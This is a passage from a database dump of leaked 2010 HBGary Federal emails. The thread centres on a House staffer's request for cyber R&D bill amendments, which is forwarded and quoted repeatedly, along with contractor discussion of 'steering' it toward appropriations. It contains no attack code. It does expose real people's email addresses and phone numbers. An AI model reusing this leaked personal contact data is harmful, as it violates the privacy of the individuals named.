&lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3400,'aaron_hbgary_com/3400.html'),(1650,'2010-01-28','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000512.M636929P3547Q1650.eml','aaron@hbgary.com,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','Re: Fwd: request for amendments - cyber bill','\r\nJim - How do we get the best result from this, both for Aaron and for us?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.; Barnett, Jim H.Sent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\nWow.  Any thoughts?  I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3745,'aaron_hbgary_com/3745.html'),(1651,'2010-01-28','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000512.M965696P3547Q1651.eml','aaron@hbgary.com,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Fwd: request for amendments - cyber bill','\r\nSure...but you need to think about how you want to &quot;steer&quot; this to an appropriation mark reflective of a members ammendment.Jacob is pro staff who has the ability to influence members on his committee and specifically sub...review those members and then look for a &quot;constituency angle&quot; and write accordingly.You can take the &quot;good government&quot; approach but that\'s too easy.Let me know if I can help.Jim\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.; Barnett, Jim H.Sent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\nWow.  Any thoughts?  I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16099,'aaron_hbgary_com/16099.html'),(1652,'2010-01-27','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000513.M169802P3547Q1652.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Interview with Paul 451 Group','January 27, 2010 2:00 PM : Interview with Paul 451 Group \r\n',14635,'aaron_hbgary_com/14635.html'),(1653,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000513.M371478P3547Q1653.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','Re: request for amendments - cyber bill','man you know so much more about this than I do. &nbsp;I will take a look tonight and generate some thoughts that I would love for you to review. &nbsp;Let me know if you have any specific ideas as well.Thanks,AaronOn Jan 27, 2010, at 7:03 PM, Barnett, Jim H. wrote:\r\nSure...but you need to think about how you want to \"steer\" this to an appropriation mark reflective of a members ammendment.Jacob is pro staff who has the ability to influence members on his committee and specifically sub...review those members and then look for a \"constituency angle\" and write accordingly.You can take the \"good government\" approach but that\'s too easy.Let me know if I can help.Jim\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.; Barnett, Jim H.\r\nSent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\n\r\nWow. &nbsp;Any thoughts? &nbsp;I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.&nbsp; This is one of those moments\r\nfor cybersecurity here in the House of Reps.&nbsp;Several months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).&nbsp; &nbsp;Here’s how the procedure works.&nbsp; Members are\r\nallowed to write amendments to the bill.&nbsp; They submit them to the Rules\r\nCommittee.&nbsp; On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.”&nbsp;\r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).&nbsp; Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.&nbsp; &nbsp;As you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.&nbsp; Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.&nbsp; For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.&nbsp; &nbsp;&nbsp;Members have already been asking me for amendments, and I am\r\nbusy drafting.&nbsp; You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.&nbsp; Please be creative!&nbsp;\r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.&nbsp;Sorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.&nbsp; If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.&nbsp;Thanks for your help.&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and\r\nCounselEmerging Threats,\r\nCybersecurity, S&amp;T SubcommitteeCommittee on Homeland\r\nSecurity (Majority)202-226-2623&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12648,'aaron_hbgary_com/12648.html'),(1654,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000513.M576200P3547Q1654.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: request for amendments - cyber bill','Hi Jake,Thanks for the opportunity. &nbsp;I will take a look and provide what I can.AaronOn Jan 27, 2010, at 6:45 PM, Olcott, Jacob wrote:One of the interesting things about working for Congress is that you can go long stretches of time where you never seem to have traction on an issue, and then suddenly a window of opportunity presents itself and you have a brief moment to take advantage of it.&nbsp; This is one of those moments for cybersecurity here in the House of Reps.&nbsp;Several months ago, the Science and Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the bill here:&nbsp;http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;&nbsp;As you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker’s office decided today that they want this bill on the floor&nbsp;next week (likely Wednesday or Thursday).&nbsp;&nbsp;Here’s how the procedure works.&nbsp; Members are allowed to write amendments to the bill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the Rules Committee will consider those amendments, and rule them either “in order” or “out of order.”&nbsp; Amendments are supposed to be “germane” to the section of the bill that is being amended (there is a test for this, but basically an amendment has to relate to the subject matter under consideration).&nbsp; Amendments that are ruled “in order” can then be raised by that member on the floor – and put to a vote of the House.&nbsp;&nbsp;As you can see from the text, the bill contains provisions on R&amp;D, cyber workforce, strategic planning, social and behavioral cyber research, the focus of NSF grants, scholarship for service, NIST research, international standards, identity management, cyber awareness into legislation.&nbsp; Lots of good and interesting subjects that can be improved and enhanced through the amendment process.&nbsp; For those looking for an opportunity,&nbsp;this is a great way to address some of these issues in a bill that will be voted on by the House of Representatives.&nbsp; &nbsp;&nbsp;Members have already been asking me for amendments, and I am busy drafting.&nbsp; You are a trusted ally, and I would really appreciate if you can take a look at this bill, see if you have some ideas about ways to improve it, and send them to me.&nbsp;&nbsp;Please be creative!&nbsp; I will take your submissions, turn them into amendment language, and send them to members who are interested in amending this bill.&nbsp;Sorry for the late notice, but&nbsp;I need your proposals by not later than FRIDAY at NOON.&nbsp; If you’re not comfortable drafting an amendment, feel free to submit an “idea” to me and I will do my best to turn it into legislative language that the members can use.&nbsp;Thanks for your help.&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and CounselEmerging Threats, Cybersecurity, S&amp;T SubcommitteeCommittee on Homeland Security (Majority)202-226-2623&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11001,'aaron_hbgary_com/11001.html'),(1655,'2010-01-28','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000513.M870767P3547Q1655.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,aaron@hbgary.com','Re: Fwd: request for amendments - cyber bill','\r\nNow that\'s a trick question...us (assume you mean NGC...no &quot;I&quot; in us) and Aaron?  I am not certain those are seperable, good news.  But beyond the fun and chaos, I would let Aaron run and not engage NGC...perhaps Jacob has Larry, or Linda, or Kathy, or Tim on his list...but we probably won\'t hear from them.What we could do, for NGC, is alert them to the bill and pending action and let the NGC system engage...it\'s Wednesday and there is an EXCOM tommorrow.I like Jacobs approach...he is right about the window...thoughts for AAron SEPCOR.\r\n\r\n\r\nFrom: Conroy, Thomas W.To: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;; Barnett, Jim H.Sent: Wed Jan 27 18:00:55 2010Subject: Re: Fwd: request for amendments - cyber bill\r\n\r\nJim - How do we get the best result from this, both for Aaron and for us?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.; Barnett, Jim H.Sent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\nWow.  Any thoughts?  I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6934,'aaron_hbgary_com/6934.html'),(1656,'2010-01-28','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000514.M269746P3547Q1657.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Mandiants M-trends release party for APT @6pm DC3','I obtained a copy of the booklet they are distributing at the release  party...\r\n------Original Message------\r\nFrom: Rich Cummings\r\nTo: Aaron Barr\r\nTo: \'Matt O\'Flynn\'\r\nCc: \'Greg Hoglund\'\r\nCc: Phil Wallisch\r\nCc: Ted Vera\r\nSubject: RE: Mandiants M-trends release party for APT @6pm DC3\r\nSent: Jan 27, 2010 11:02 AM\r\n\r\nMatt and Phil are on it.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 10:54 AM\r\nTo: Matt O\'Flynn\r\nCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich Cummings\r\nSubject: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAnyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',14009,'aaron_hbgary_com/14009.html'),(1657,'2010-01-28','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000514.M588972P3547Q1658.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Add to Dev Portal','Wow, good stuff.\r\n\r\nIve spoken with a lot of folks about this effort.  Leaving the consortium conversation alone for a minute and focusing just on our partnership, if HBGary/Xetron/EndGame can put a viable/slick demo together by Apr, we can offer you a station at our Government Conference.  We expect 1000 attendees from across the IC, Defense, and LE communities.  I think this is the coming out party we should target for a v0 integration.\r\n\r\nThoughts?\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 6:25 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Add to Dev Portal\r\n\r\nThanks.\r\n\r\nI have been talking with the folks from HBGary that attended the  \r\nmeetings yesterday.  I think the Consortium concept is still a good  \r\nidea and one I will continue to push along.  That said I think there  \r\nis something quicker that we can do with existing partnerships that  \r\nwill show a lot of value add.\r\n\r\nThe combination of HBGary data with EndGame Systems data in the  \r\nPalantir framework, specifically we are working scenarios around  \r\nProject Aurora and GhostNet.  We have a lot of data on both.   \r\nFortunately I know you already have significant data on Ghostnet.   \r\nGreg has a bug right now around this idea and is working this himself  \r\nin his offtime.  He installed Palantir today and is starting to input  \r\ndata.\r\n\r\nAaron\r\n\r\nOn Jan 27, 2010, at 6:21 PM, Matthew Steckman wrote:\r\n\r\n> Just sent in the request.\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 26, 2010 10:43 PM\r\n> To: Matthew Steckman\r\n> Subject: Add to Dev Portal\r\n>\r\n> Hey Matt,\r\n>\r\n> Can you add Rich Cummings, rich@hbgary.com, to have access to the  \r\n> dev portal?\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n',2694,'aaron_hbgary_com/2694.html'),(1658,'2010-01-28','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000514.M72163P3547Q1656.eml','aaron@hbgary.com,aaron@hbgary.com','Re: request for amendments - cyber bill','\r\nI will look at the draft tomorrow...to hard on BB.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Barnett, Jim H.Cc: Conroy, Thomas W.Sent: Wed Jan 27 18:06:26 2010Subject: Re: request for amendments - cyber bill\r\nman you know so much more about this than I do. &nbsp;I will take a look tonight and generate some thoughts that I would love for you to review. &nbsp;Let me know if you have any specific ideas as well.Thanks,AaronOn Jan 27, 2010, at 7:03 PM, Barnett, Jim H. wrote:\r\nSure...but you need to think about how you want to \"steer\" this to an appropriation mark reflective of a members ammendment.Jacob is pro staff who has the ability to influence members on his committee and specifically sub...review those members and then look for a \"constituency angle\" and write accordingly.You can take the \"good government\" approach but that\'s too easy.Let me know if I can help.Jim\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.; Barnett, Jim H.\r\nSent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\n\r\nWow. &nbsp;Any thoughts? &nbsp;I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.&nbsp; This is one of those moments\r\nfor cybersecurity here in the House of Reps.&nbsp;Several months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).&nbsp; &nbsp;Here’s how the procedure works.&nbsp; Members are\r\nallowed to write amendments to the bill.&nbsp; They submit them to the Rules\r\nCommittee.&nbsp; On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.”&nbsp;\r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).&nbsp; Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.&nbsp; &nbsp;As you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.&nbsp; Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.&nbsp; For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.&nbsp; &nbsp;&nbsp;Members have already been asking me for amendments, and I am\r\nbusy drafting.&nbsp; You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.&nbsp; Please be creative!&nbsp;\r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.&nbsp;Sorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.&nbsp; If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.&nbsp;Thanks for your help.&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and\r\nCounselEmerging Threats,\r\nCybersecurity, S&amp;T SubcommitteeCommittee on Homeland\r\nSecurity (Majority)202-226-2623&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',783,'aaron_hbgary_com/783.html'),(1659,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000514.M779583P3547Q1659.eml','\"Steven P Winterfeld\" <steven.winterfeld@tasc.com>','Fwd: request for amendments - cyber bill','Take a look.From my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness 